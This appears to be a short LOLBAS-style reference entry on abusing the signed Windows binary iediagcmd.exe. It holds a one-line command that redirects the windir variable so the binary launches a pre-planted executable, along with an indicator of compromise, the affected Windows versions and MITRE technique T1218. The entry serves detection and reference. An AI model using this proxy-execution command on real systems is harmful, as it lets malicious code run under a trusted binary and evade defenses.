IOC: Execution of process iediagcmd.exe with /out could be suspicious
Execute
Executes binary that is pre-planted at C:\test\system32\netsh.exe.
set windir=c:\test& cd "C:\Program Files\Internet Explorer\" & iediagcmd.exe /out:c:\test\foo.cab
Usecase: Spawn a pre-planted executable from iediagcmd.exe.
Privileges required: User
OS: Windows 10 1803, Windows 10 1703, Windows 10 22H1, Windows 10 22H2, Windows 11
MITRE ATT&CK®: T1218